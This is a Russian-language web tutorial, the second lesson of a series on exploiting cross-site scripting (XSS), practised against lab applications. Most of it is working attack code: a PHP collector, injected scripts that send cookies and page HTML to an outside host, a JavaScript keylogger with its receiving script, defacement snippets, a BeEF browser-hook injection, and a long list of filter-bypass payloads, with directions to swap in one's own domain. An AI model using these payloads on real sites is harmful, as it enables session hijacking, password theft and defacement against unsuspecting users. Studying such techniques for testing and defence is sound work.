Уроки по XSS: Урок 2. Скрытая передача данных, перехват нажатия клавиш, изменение внешнего вида сайта, подцепление на BeEF, фишинг, подсказки обхода фильтров
Рекомендуется также ознакомиться с первым уроком: «Основы XSS и поиск уязвимых к XSS сайтов».
В этом разделе мы рассмотрим практические примеры извлечения выгоды из XSS уязвимости.
Кража данных с помощью XSS и их передача на удалённый сервер
Это самый популярный вариант эксплуатации XSS. Кроме уязвимости XSS на целевом веб-сайте, нам нужен свой сервер, на который будут отправляться данные. В качестве уязвимых сайтов я буду использовать различные веб-приложения из Web Security Dojo. В качестве сервера, который будет собирать данные, я буду использовать один из своих хостингов (для обучения можете описанное здесь проделывать на localhost’е, или поискать любой бесплатный хостинг с PHP, или просто купить хостинг.
Для приёма и показа данных я буду использовать следующий код:
<?php #error_reporting(0); $filename = 'log.txt'; $password = 'pass'; if (!file_exists($filename)) { if ($fh = fopen($filename, 'w')) { fclose($fh); } } if (isset($_GET['c'])) { $content = '[Host]: ' . $_SERVER['REMOTE_HOST'] . PHP_EOL; $content .= '[Remote Addr]: ' . $_SERVER['REMOTE_ADDR'] . PHP_EOL; $content .= '[Sensitive Information]: ' . $_GET['c'] . PHP_EOL; $content .= PHP_EOL . PHP_EOL; file_put_contents($filename, $content, FILE_APPEND | LOCK_EX); } if (isset($_GET['p'])) { if ($_GET['p'] == $password) { if (isset($_GET['rm'])) { unlink($filename); } else { $data = file_get_contents($filename); $convert = explode("\n", $data); for ($i = 0; $i < count($convert); $i++) { echo $convert[$i] . '</br>'; } } } }
Я сохранил его в файл stealer.php, вы можете выбрать любое название – но тогда не забывайте его менять в соответствующем коде JavaScript.
В строках
$filename = 'log.txt'; $password = 'pass';
Устанавливаются файл для хранения данных и пароль (pass).
Для передачи данных используется переменная c, например: http://ip-or-url/stealer.php?c=здесь данные
Для просмотра полученных данных: http://ip-or-url/stealer.php?p=pass
Для очистки файла с захваченными данными: http://ip-or-url/stealer.php?p=pass&rm
Уязвимость мы будем эксплуатировать в приложении http://localhost/mutillidae/index.php?page=add-to-your-blog.php
Сборщик данных я разместил по адресу http://miloserdov.org/stealer.php
Таким образом, внедряемый код имеет следующий вид (вам нужно заменить miloserdov.org на адрес своего домена или IP):
<script>new Image().src="http://miloserdov.org/stealer.php?c="+encodeURI(document.cookie);</script>
Размещаем:
Получаем результат:
Можно украсть весь HTML код:
<script>new Image().src=" http://miloserdov.org/stealer.php?c="+encodeURI(document.body.innerHTML);</script>
Или отдельные элементы:
<script>new Image().src=" http://miloserdov.org/stealer.php?c="+encodeURI(document.getElementById('idSystemInformationHeading').innerHTML));</script>
Кража HTML кода имеет смысл тогда, когда целевой пользователь видит на странице то, что вам недоступно.
Изменение внешнего вида сайта при помощи XSS
Подобным образом можно оставить веб-сайт без содержимого:
<script>document.body.innerHTML=""</script>
А так без содержимого будет только выбранный элемент:
<script>document.getElementById('idSystemInformationHeading').innerHTML=""</script>
Можно поменять содержимое сайта на своё:
<script>document.body.innerHTML="<p>Ещё один сайт о всякой фигне.</p>"</script>
Добавить что-то от себя:
<script>document.body.innerHTML=document.body.innerHTML+"<p>One more shitty web site.</p>"</script>
И делать что-угодно со стилями.
Внедрение перехватчика нажатий клавиш при XSS (килогер)
Добавление килогера (программы, которая записывает все нажатые пользователем клавиши) наиболее перспективно при хранимой уязвимости XSS. Хотя и при непостоянных XSS килогер может сделать своё дело.
Будут перехватываться все нажатые клавиши, в том числе введённые логины и пароли.
На сервере атакующего нужно создать 2 файла. Первый из них содержит JavaScript код и его роль заключается в захвате и отправке введённых данных. Второй файл на PHP, он отвечает за приём и сохранение перехваченных данных:
Исходный код exploit.js:
var keys = ''; document.onkeypress = function (e) { var get = window.event ? event : e; var key = get.keyCode ? get.keyCode : get.charCode; key = String.fromCharCode(key); keys += key; }; window.setInterval(function () { new Image().src = 'http://miloserdov.org/exploit.php?keylog=' + keys; keys = ''; }, 1000);
Обратите внимание на строку:
new Image().src = 'http://miloserdov.org/exploit.php?keylog=' + keys;
Вместо miloserdov.org вам нужно ввести адрес хоста или IP, куда будут пересылаться перехваченные нажатия клавиш.
Второй файл exploit.php:
<?php $password = 'pass'; if (!file_exists('keylog.txt')) { if ($fh = fopen('keylog.txt', 'w')) { fclose($fh); } } if (!empty($_GET['keylog'])) { $logfile = fopen('keylog.txt', 'a+'); fwrite($logfile, $_GET['keylog']); fclose($logfile); } if (isset($_GET['p'])) { if ($_GET['p'] == $password) { if (isset($_GET['rm'])) { unlink('keylog.txt'); } else { $data = file_get_contents('keylog.txt'); $convert = explode("\n", $data); for ($i = 0; $i < count($convert); $i++) { echo $convert[$i] . '</br>'; } } } }
В нём можно ничего не менять – разве пароль установите на свой.
В сайте с имеющейся хранимой XSS мы вводим:
<script src="http://miloserdov.org/exploit.js"></script>
Обратите внимание на адрес – http://miloserdov.org/exploit.js – вам нужно заменить его на свой.
Вводим:
Просматриваем результат:
Подцепление на BeEF
Браузер является подцепленным на BeEF, если в страницу веб-сайта, которую просматривает пользователь, удалось внедрить специальный JavaScript код. XSS как раз подходят для этих целей.
Атакующий запускает BeEF на своём сервере:
sudo beef
BeEF даёт подсказку, какой файл нужно внедрять в код: http://192.168.1.39:3000/hook.js
Наш код, который мы вставляем в сайт, уязвимый к XSS:
<script src="http://192.168.1.39:3000/hook.js">
Внедняем:
Когда кто-то посещает страницу с нашим кодом, мы видим это в панели управления BeEF:
Выполняем разные атаки:
Подсказки по эксплуатации XSS и обходу фильтров
Здесь собраны некоторые примеры, которые могут помочь вам обойти XSS фильтры, это может оказаться полезным в различных контекстах и может помочь вам в выполнении XSS.
Базовая полезная нагрузка XSS:
<script>alert("XSS-by-Shawar")</script> "><script>alert("XSS-by-Shawar")</script> "><script>alert(/XSS-by-Shawar/)</script>
Внутри тэга Script:
</script><script>alert("XSS by Shawar")</script> ");alert("xss-by-shawar");//
Обход ограничения тэга script путём замены регистра:
"><iFrAmE/src=jAvAscrIpT:alert(/xss-by-shawar/)> "><ScRiPt>alert("xss by shawar")</sCrIpT>
XSS с использованием тэгов Image и HTML:
Работает только в Chrome
"><detials ontoggle=confirm(0)> "><IMG SRC=x onerror=javascript:alert("XSS-by-Shawar")> "><img onmouseover=alert(“XSS by Shawar”)> "><test onclick=alert(/xss-by-shawar/)>clickme</test> "><a href=javascript:alert(/xss-by-shawar/)clickme</a> "><h1 onmouseover=alert("XSS by Shawar Khan")> hover on me</h1> "><svg/onload=prompt("XSS by Shawar Khan")> "><body/onload=alert("XSS by shawar")>
В контексте стилей (работает только на старых версиях IE,, например IE 8, IE 7)
Если input внутри тэга <style>:
body{xss:expression(alert("XSS by Shawar Khan"))}
Если input внутри атрибута style=" ":
xss:expression(alert(/xss-by-shawar/)
Обход фильтрации тэга script:
<<SCRIPT>alert("XSS by Shawar");//<</SCRIPT> %253script%253ealert(/xss-by-shawar/)%253c/script%253e "><s"%2b”cript>alert(/xss-by-shawar/)</script> foo<script>alert(/xss-by-shawar/)</script> <scr<script>ipt>alert(/xss-by-shawar/)</scr</script>ipt>
Продвинутая полезная нагрузка:
Шестнадцатеричная кодировка
"><IMG SRC=x onerror=javascript:alert('XSS')> "><a XSS-test href=jAvAsCrIpT:prompt(/XSS-by-Shawar/)>ClickMe "><h1/onclick=au006ceru0074(/xss-by-shawar/)>clickme</h1> "><a id="a"href=javascript:au006ceru0074(/xss-by-shawar/) id="xss-test">Click me</a>#a < <a href="data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+">clickme
Некоторые альтернативы полезных ключевых слов:
alert = au006ceru0074 prompt = pu0072omu0070u0074 confirm = cou006efiru006d javascript = jAvascript : = : ( = ( ) = ) использование alert(/xss/) в ссылке = alert%28 /xss/%29 example: <a href="javascript:alert%28 /xss/%29">clickme base64 alert(2) = data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+
При подготовке материала многое подсмотрено у
Следующий урок «Контексты внедрения XSS».
Связанные статьи:
- Уроки по XSS: Урок 1. Основы XSS и поиск уязвимых к XSS сайтов (100%)
- Уроки по XSS: Урок 3. Контексты внедрения XSS (100%)
- Небезопасная выгрузка файлов на веб-сайты: эксплуатация и обход фильтров (100%)
- Как использовать User Agent для атак на сайты (100%)
- IronWASP: бесплатный сканер уязвимостей веб-сайтов под Windows с графическим интерфейсом (87.5%)
- Инструкция по использованию jSQL Injection — многофункционального инструмента поиска и эксплуатации SQL-инъекций в Kali Linux (RANDOM - 50%)
Отличная статья!!
все по делу и без воды!